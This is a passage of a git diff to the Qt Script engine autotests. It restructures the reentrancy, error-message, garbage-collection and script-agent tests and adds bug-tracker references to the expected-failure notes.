-            QCOMPARE(fooVal.property("y").toInt32(), 34);
-            fooVal.setProperty("x", 56);
-            fooVal.setProperty("y", 78);
-
-            Foo foo2 = qScriptValueToValue<Foo>(fooVal);
-            QCOMPARE(foo2.x, 56);
-            QCOMPARE(foo2.y, 78);
-        }
-        {
-            QScriptValue fooVal = qScriptValueFromValue(&eng2, foo);
-            QVERIFY(fooVal.isVariant());
+        QScriptValue fooVal = qScriptValueFromValue(&eng2, foo);
+        QVERIFY(fooVal.isVariant());
 
-            Foo foo2 = qScriptValueToValue<Foo>(fooVal);
-            QCOMPARE(foo2.x, 12);
-            QCOMPARE(foo2.y, 34);
-        }
-        QVERIFY(!eng1.defaultPrototype(qMetaTypeId<Foo>()).isValid());
-        QVERIFY(!eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
-        QScriptValue proto1 = eng1.newObject();
-        eng1.setDefaultPrototype(qMetaTypeId<Foo>(), proto1);
-        QVERIFY(!eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
-        QScriptValue proto2 = eng2.newObject();
-        eng2.setDefaultPrototype(qMetaTypeId<Foo>(), proto2);
-        QVERIFY(eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
-        QVERIFY(eng1.defaultPrototype(qMetaTypeId<Foo>()).strictlyEquals(proto1));
-    }
-    {
-        QScriptEngine eng1;
-        QScriptEngine eng2;
-        QVERIFY(!eng2.globalObject().property("a").isValid());
-        eng1.evaluate("a = 10");
-        QVERIFY(eng1.globalObject().property("a").isNumber());
-        QVERIFY(!eng2.globalObject().property("a").isValid());
-        eng2.evaluate("a = 20");
-        QVERIFY(eng2.globalObject().property("a").isNumber());
-        QCOMPARE(eng1.globalObject().property("a").toInt32(), 10);
+        Foo foo2 = qScriptValueToValue<Foo>(fooVal);
+        QCOMPARE(foo2.x, 12);
+        QCOMPARE(foo2.y, 34);
     }
+    QVERIFY(!eng1.defaultPrototype(qMetaTypeId<Foo>()).isValid());
+    QVERIFY(!eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
+    QScriptValue proto1 = eng1.newObject();
+    eng1.setDefaultPrototype(qMetaTypeId<Foo>(), proto1);
+    QVERIFY(!eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
+    QScriptValue proto2 = eng2.newObject();
+    eng2.setDefaultPrototype(qMetaTypeId<Foo>(), proto2);
+    QVERIFY(eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
+    QVERIFY(eng1.defaultPrototype(qMetaTypeId<Foo>()).strictlyEquals(proto1));
+}
+
+void tst_QScriptEngine::reentrancy_globalObjectProperties()
+{
+    QScriptEngine eng1;
+    QScriptEngine eng2;
+    QVERIFY(!eng2.globalObject().property("a").isValid());
+    eng1.evaluate("a = 10");
+    QVERIFY(eng1.globalObject().property("a").isNumber());
+    QVERIFY(!eng2.globalObject().property("a").isValid());
+    eng2.evaluate("a = 20");
+    QVERIFY(eng2.globalObject().property("a").isNumber());
+    QCOMPARE(eng1.globalObject().property("a").toInt32(), 10);
+}
+
+void tst_QScriptEngine::reentrancy_Array()
+{
     // weird bug with JSC backend
     {
         QScriptEngine eng;
@@ -4540,79 +4724,82 @@ void tst_QScriptEngine::reentrancy()
         QScriptEngine eng;
         QCOMPARE(eng.evaluate("Array()").toString(), QString());
     }
+}
 
+void tst_QScriptEngine::reentrancy_objectCreation()
+{
+    QScriptEngine eng1;
+    QScriptEngine eng2;
     {
-        QScriptEngine eng1;
-        QScriptEngine eng2;
-        {
-            QScriptValue d1 = eng1.newDate(0);
-            QScriptValue d2 = eng2.newDate(0);
-            QCOMPARE(d1.toDateTime(), d2.toDateTime());
-            QCOMPARE(d2.toDateTime(), d1.toDateTime());
-        }
-        {
-            QScriptValue r1 = eng1.newRegExp("foo", "gim");
-            QScriptValue r2 = eng2.newRegExp("foo", "gim");
-            QCOMPARE(r1.toRegExp(), r2.toRegExp());
-            QCOMPARE(r2.toRegExp(), r1.toRegExp());
-        }
-        {
-            QScriptValue o1 = eng1.newQObject(this);
-            QScriptValue o2 = eng2.newQObject(this);
-            QCOMPARE(o1.toQObject(), o2.toQObject());
-            QCOMPARE(o2.toQObject(), o1.toQObject());
-        }
-        {
-            QScriptValue mo1 = eng1.newQMetaObject(&staticMetaObject);
-            QScriptValue mo2 = eng2.newQMetaObject(&staticMetaObject);
-            QCOMPARE(mo1.toQMetaObject(), mo2.toQMetaObject());
-            QCOMPARE(mo2.toQMetaObject(), mo1.toQMetaObject());
-        }
+        QScriptValue d1 = eng1.newDate(0);
+        QScriptValue d2 = eng2.newDate(0);
+        QCOMPARE(d1.toDateTime(), d2.toDateTime());
+        QCOMPARE(d2.toDateTime(), d1.toDateTime());
+    }
+    {
+        QScriptValue r1 = eng1.newRegExp("foo", "gim");
+        QScriptValue r2 = eng2.newRegExp("foo", "gim");
+        QCOMPARE(r1.toRegExp(), r2.toRegExp());
+        QCOMPARE(r2.toRegExp(), r1.toRegExp());
+    }
+    {
+        QScriptValue o1 = eng1.newQObject(this);
+        QScriptValue o2 = eng2.newQObject(this);
+        QCOMPARE(o1.toQObject(), o2.toQObject());
+        QCOMPARE(o2.toQObject(), o1.toQObject());
+    }
+    {
+        QScriptValue mo1 = eng1.newQMetaObject(&staticMetaObject);
+        QScriptValue mo2 = eng2.newQMetaObject(&staticMetaObject);
+        QCOMPARE(mo1.toQMetaObject(), mo2.toQMetaObject());
+        QCOMPARE(mo2.toQMetaObject(), mo1.toQMetaObject());
     }
 }
 
-void tst_QScriptEngine:: incDecNonObjectProperty()
+void tst_QScriptEngine::jsIncDecNonObjectProperty()
 {
+    // This is testing ECMA-262 compliance, not C++ API.
+
     QScriptEngine eng;
     {
         QScriptValue ret = eng.evaluate("var a; a.n++");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [undefined] is not an object."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         QScriptValue ret = eng.evaluate("var a; a.n--");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [undefined] is not an object."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         QScriptValue ret = eng.evaluate("var a = null; a.n++");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         QScriptValue ret = eng.evaluate("var a = null; a.n--");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         QScriptValue ret = eng.evaluate("var a; ++a.n");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         QScriptValue ret = eng.evaluate("var a; --a.n");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         QScriptValue ret = eng.evaluate("var a; a.n += 1");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         QScriptValue ret = eng.evaluate("var a; a.n -= 1");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' [null] is not an object."));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("TypeError")));
     }
     {
         QScriptValue ret = eng.evaluate("var a = 'ciao'; a.length++");
@@ -5125,6 +5312,21 @@ void tst_QScriptEngine::translateScriptUnicodeIdBased()
     QVERIFY(!engine.hasUncaughtException());
 }
 
+void tst_QScriptEngine::translateFromBuiltinCallback()
+{
+    QScriptEngine eng;
+    eng.installTranslatorFunctions();
+
+    // Callback has no translation context.
+    eng.evaluate("function foo() { qsTr('foo'); }");
+
+    // Stack at translation time will be:
+    // qsTr, foo, forEach, global
+    // qsTr() needs to walk to the outer-most (global) frame before it finds
+    // a translation context, and this should not crash.
+    eng.evaluate("[10,20].forEach(foo)", "script.js");
+}
+
 void tst_QScriptEngine::functionScopes()
 {
     QScriptEngine eng;
@@ -5132,7 +5334,7 @@ void tst_QScriptEngine::functionScopes()
         // top-level functions have only the global object in their scope
         QScriptValue fun = eng.evaluate("(function() {})");
         QVERIFY(fun.isFunction());
-        QEXPECT_FAIL("", "Function scope proxying is not implemented", Abort);
+        QEXPECT_FAIL("", "QScriptValue::scope() is internal, not implemented", Abort);
         QVERIFY(fun.scope().isObject());
         QVERIFY(fun.scope().strictlyEquals(eng.globalObject()));
         QVERIFY(!eng.globalObject().scope().isValid());
@@ -5436,6 +5638,7 @@ void tst_QScriptEngine::collectGarbageAfterConnect()
             .isUndefined());
     QVERIFY(widget != 0);
     engine.evaluate("widget = null;");
+    // The connection should not keep the widget alive.
     collectGarbage_helper(engine);
     QVERIFY(widget == 0);
 }
@@ -5599,6 +5802,17 @@ void tst_QScriptEngine::reentrency()
 
 void tst_QScriptEngine::newFixedStaticScopeObject()
 {
+    // "Static scope objects" is an optimization we do for QML.
+    // It enables the creation of JS objects that can guarantee to the
+    // compiler that no properties will be added or removed. This enables
+    // the compiler to generate a very simple (fast) property access, as
+    // opposed to a full virtual lookup. Due to the inherent use of scope
+    // chains in QML, this can make a huge difference (10x improvement for
+    // benchmark in QTBUG-8576).
+    // Ideally we would not need a special object type for this, and the
+    // VM would dynamically optimize it to be fast...
+    // See also QScriptEngine benchmark.
+
     QScriptEngine eng;
     static const int propertyCount = 4;
     QString names[] = { "foo", "bar", "baz", "Math" };
@@ -5739,6 +5953,11 @@ void tst_QScriptEngine::newFixedStaticScopeObject()
 
 void tst_QScriptEngine::newGrowingStaticScopeObject()
 {
+    // The main use case for a growing static scope object is to set it as
+    // the activation object of a QScriptContext, so that all JS variable
+    // declarations end up in that object. It needs to be "growable" since
+    // we don't know in advance how many variables a script will declare.
+
     QScriptEngine eng;
     QScriptValue scope = QScriptDeclarativeClass::newStaticScopeObject(&eng);
 
@@ -5826,10 +6045,10 @@ void tst_QScriptEngine::newGrowingStaticScopeObject()
     {
         QScriptValue fun = eng.evaluate("(function() { return futureProperty; })");
         QVERIFY(fun.isFunction());
-        QCOMPARE(fun.call().toString(), QString::fromLatin1("ReferenceError: Can't find variable: futureProperty"));
+        QVERIFY(fun.call().toString().contains(QString::fromLatin1("ReferenceError")));
         scope.setProperty("futureProperty", "added after the function was compiled");
         // If scope were dynamic, this would return the new property.
-        QCOMPARE(fun.call().toString(), QString::fromLatin1("ReferenceError: Can't find variable: futureProperty"));
+        QVERIFY(fun.call().toString().contains(QString::fromLatin1("ReferenceError")));
     }
 
     eng.popContext();
diff --git a/tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp b/tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp
index dce09d3..065f099 100644
--- a/tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp
+++ b/tests/auto/qscriptengineagent/tst_qscriptengineagent.cpp
@@ -73,6 +73,7 @@ signals:
     void testSignal(double arg);
 
 private slots:
+    void unloadRecursion();
     void scriptLoadAndUnload_statement();
     void scriptLoadAndUnload();
     void scriptLoadAndUnload_eval();
@@ -345,6 +346,46 @@ QVariant ScriptEngineSpy::extension(Extension ext, const QVariant &arg)
     return QVariant();
 }
 
+static void collectScriptObjects(QScriptEngine *engine)
+{
+    // We call garbage collection few times to collect objects that
+    // are unreferenced after first gc. We try to force full gc.
+    engine->collectGarbage();
+    engine->collectGarbage();
+    engine->collectGarbage();
+}
+
+class EvaluatingAgent : public QScriptEngineAgent {
+public:
+    EvaluatingAgent(QScriptEngine *engine)
+        : QScriptEngineAgent(engine)
+        , count(0)
+    {}
+
+    virtual void scriptUnload(qint64)
+    {
+        if (++count > 10) // recursion breaker.
+            return;
+        // check if recursive evaluation works
+        engine()->evaluate(";");
+        collectScriptObjects(engine());
+    }
+
+    bool isOk() const { return count > 10; }
+private:
+    int count;
+};
+
+void tst_QScriptEngineAgent::unloadRecursion()
+{
+    QScriptEngine engine;
+    EvaluatingAgent *agent = new EvaluatingAgent(&engine);
+    engine.setAgent(agent);
+    engine.evaluate(";");
+    collectScriptObjects(&engine);
+    QVERIFY(agent->isOk());
+}
+
 void tst_QScriptEngineAgent::scriptLoadAndUnload_statement()
 {
     QScriptEngine eng;
@@ -358,6 +399,8 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload_statement()
         int lineNumber = 123;
         eng.evaluate(code, fileName, lineNumber);
 
+        // Script object have to be garbage collected first.
+        collectScriptObjects(&eng);
         QCOMPARE(spy->count(), 2);
 
         QCOMPARE(spy->at(0).type, ScriptEngineEvent::ScriptLoad);
@@ -377,6 +420,8 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload_statement()
         int lineNumber = 456;
         eng.evaluate(code, fileName, lineNumber);
 
+        // Script object have to be garbage collected first.
+        collectScriptObjects(&eng);
         QCOMPARE(spy->count(), 2);
 
         QCOMPARE(spy->at(0).type, ScriptEngineEvent::ScriptLoad);
@@ -414,7 +459,8 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload()
 
         code = "foo = null";
         eng.evaluate(code);
-        QCOMPARE(spy->count(), 3);
+        collectScriptObjects(&eng); // foo() is GC'ed
+        QCOMPARE(spy->count(), 4);
 
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::ScriptLoad);
         QVERIFY(spy->at(1).scriptId != -1);
@@ -425,8 +471,6 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload()
         QCOMPARE(spy->at(2).type, ScriptEngineEvent::ScriptUnload);
         QCOMPARE(spy->at(2).scriptId, spy->at(1).scriptId);
 
-        eng.collectGarbage(); // foo() is GC'ed
-        QCOMPARE(spy->count(), 4);
         QCOMPARE(spy->at(3).type, ScriptEngineEvent::ScriptUnload);
         QCOMPARE(spy->at(3).scriptId, spy->at(0).scriptId);
     }
@@ -448,6 +492,7 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload()
 
         code = "bar = foo(); foo = null";
         eng.evaluate(code);
+        collectScriptObjects(&eng);
         QCOMPARE(spy->count(), 3);
 
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::ScriptLoad);
@@ -458,14 +503,12 @@ void tst_QScriptEngineAgent::scriptLoadAndUnload()
         QCOMPARE(spy->at(2).type, ScriptEngineEvent::ScriptUnload);
         QCOMPARE(spy->at(2).scriptId, spy->at(1).scriptId);
 
-        eng.collectGarbage(); // foo() is not GC'ed
+        collectScriptObjects(&eng); // foo() is not GC'ed
         QCOMPARE(spy->count(), 3);
 
         code = "bar = null";
         eng.evaluate(code);
-        QCOMPARE(spy->count(), 5);
-
-        eng.collectGarbage(); // foo() is GC'ed
+        collectScriptObjects(&eng); // foo() is GC'ed
         QCOMPARE(spy->count(), 6);
     }
     delete spy;
@@ -1248,7 +1291,7 @@ void tst_QScriptEngineAgent::positionChange_1()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, lineNumber);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 8);
 
         // 5 + 6
@@ -1283,7 +1326,7 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QVERIFY(spy->at(1).scriptId != spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, lineNumber);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 18);
     }
 
@@ -1302,7 +1345,7 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 11);
     }
 
@@ -1333,14 +1376,14 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 31);
 
         // void(i)
         QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(2).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(2).columnNumber, 31);
     }
 
@@ -1359,21 +1402,21 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 12);
 
         // ++i
         QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(2).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(2).columnNumber, 28);
 
         // ++i
         QCOMPARE(spy->at(3).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(3).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(3).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(3).columnNumber, 28);
     }
 
@@ -1392,28 +1435,28 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 12);
 
         // ++i
         QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(2).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(2).columnNumber, 17);
 
         // do
         QCOMPARE(spy->at(3).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(3).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(3).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(3).columnNumber, 12);
 
         // ++i
         QCOMPARE(spy->at(4).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(4).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(4).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(4).columnNumber, 17);
     }
 
@@ -1444,7 +1487,7 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 15);
     }
 
@@ -1463,14 +1506,14 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 32);
 
         // continue
         QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(2).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(2).columnNumber, 32);
     }
 
@@ -1513,7 +1556,7 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 31);
     }
 
@@ -1532,14 +1575,14 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 38);
 
         // break
         QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(2).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(2).columnNumber, 45);
     }
 
@@ -1564,21 +1607,21 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(0).type, ScriptEngineEvent::PositionChange);
         QVERIFY(spy->at(0).scriptId != -1);
         QCOMPARE(spy->at(0).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(0).columnNumber, 7);
 
         // i = e
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 29);
 
         // i = 2
         QCOMPARE(spy->at(2).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(2).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(2).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(2).columnNumber, 48);
     }
 
@@ -1591,14 +1634,14 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(0).type, ScriptEngineEvent::PositionChange);
         QVERIFY(spy->at(0).scriptId != -1);
         QCOMPARE(spy->at(0).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(0).columnNumber, 7);
 
         // i = 3
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 46);
     }
 
@@ -1620,7 +1663,7 @@ void tst_QScriptEngineAgent::positionChange_2()
         QCOMPARE(spy->at(1).type, ScriptEngineEvent::PositionChange);
         QCOMPARE(spy->at(1).scriptId, spy->at(0).scriptId);
         QCOMPARE(spy->at(1).lineNumber, 1);
-        QEXPECT_FAIL("", "With JSC-based back-end, column number is always reported as 1", Continue);
+        QEXPECT_FAIL("", "QTBUG-17609: With JSC-based back-end, column number is always reported as 1", Continue);
         QCOMPARE(spy->at(1).columnNumber, 20);
     }
     delete spy;
@@ -2204,8 +2247,7 @@ void tst_QScriptEngineAgent::syntaxError()
         QCOMPARE(spy->at(i).scriptId, spy->at(0).scriptId);
         QVERIFY(!spy->at(i).hasExceptionHandler);
         QVERIFY(spy->at(i).value.isError());
-        QEXPECT_FAIL("","QTBUG-6137 There are other messages in JSC",Continue);
-        QCOMPARE(spy->at(i).value.toString(), QString("SyntaxError: Expected `}'"));
+        QVERIFY(spy->at(i).value.toString().contains(QLatin1String("SyntaxError")));
         QCOMPARE(spy->at(i).scriptId, spy->at(0).scriptId);
         i = 7;
         //exit script
diff --git a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp
index cb29586..c53abcb 100644
--- a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp
+++ b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp
@@ -549,10 +549,19 @@ private slots:
     void getSetDynamicProperty_doNotHideJSProperty();
     void getSetChildren();
     void callQtInvokable();
+    void callQtInvokable2();
+    void callQtInvokable3();
+    void callQtInvokable4();
+    void callQtInvokable5();
+    void callQtInvokable6();
+    void callQtInvokable7();
     void connectAndDisconnect();
+    void connectAndDisconnect_emitFromJS();
+    void connectAndDisconnect_senderWrapperCollected();
     void connectAndDisconnectWithBadArgs();
     void connectAndDisconnect_senderDeleted();
     void cppConnectAndDisconnect();
+    void cppConnectAndDisconnect2();
     void classEnums();
     void classConstructor();
     void overrideInvokable();
@@ -999,8 +1008,9 @@ void tst_QScriptExtQObject::getSetStaticProperty_methodPersistence()
         QVERIFY(slot.isFunction());
         QScriptValue sameSlot = m_engine->evaluate("myObject.mySlot");
         QVERIFY(sameSlot.strictlyEquals(slot));
-        sameSlot = m_engine->evaluate("myObject[mySlot()]");
-        QEXPECT_FAIL("", "Signature-based method lookup creates new function wrapper object", Continue);
+        sameSlot = m_engine->evaluate("myObject['mySlot()']");
+        QVERIFY(sameSlot.isFunction());
+        QEXPECT_FAIL("", "QTBUG-17611: Signature-based method lookup creates new function wrapper object", Continue);
         QVERIFY(sameSlot.strictlyEquals(slot));
     }
 }
@@ -1094,7 +1104,7 @@ void tst_QScriptExtQObject::getSetDynamicProperty_doNotHideJSProperty()
     val.setProperty("x", 42);
     m_myObject->setProperty("x", 2222);
 
-    QEXPECT_FAIL("", "", Continue);
+    QEXPECT_FAIL("", "QTBUG-17612: Dynamic C++ property overrides JS property", Continue);
 
     // JS should see the original JS value
     QVERIFY(val.property("x").strictlyEquals(QScriptValue(m_engine, 42)));
@@ -1270,7 +1280,10 @@ void tst_QScriptExtQObject::callQtInvokable()
     QCOMPARE(m_myObject->qtFunctionActuals().size(), 2);
     QCOMPARE(m_myObject->qtFunctionActuals().at(0).toInt(), 123);
     QCOMPARE(m_myObject->qtFunctionActuals().at(1).toInt(), 456);
+}
 
+void tst_QScriptExtQObject::callQtInvokable2()
+{
     m_myObject->resetQtFunctionInvoked();
     QVERIFY(m_engine->evaluate("myObject.myInvokableWithVoidStarArg(null)").isUndefined());
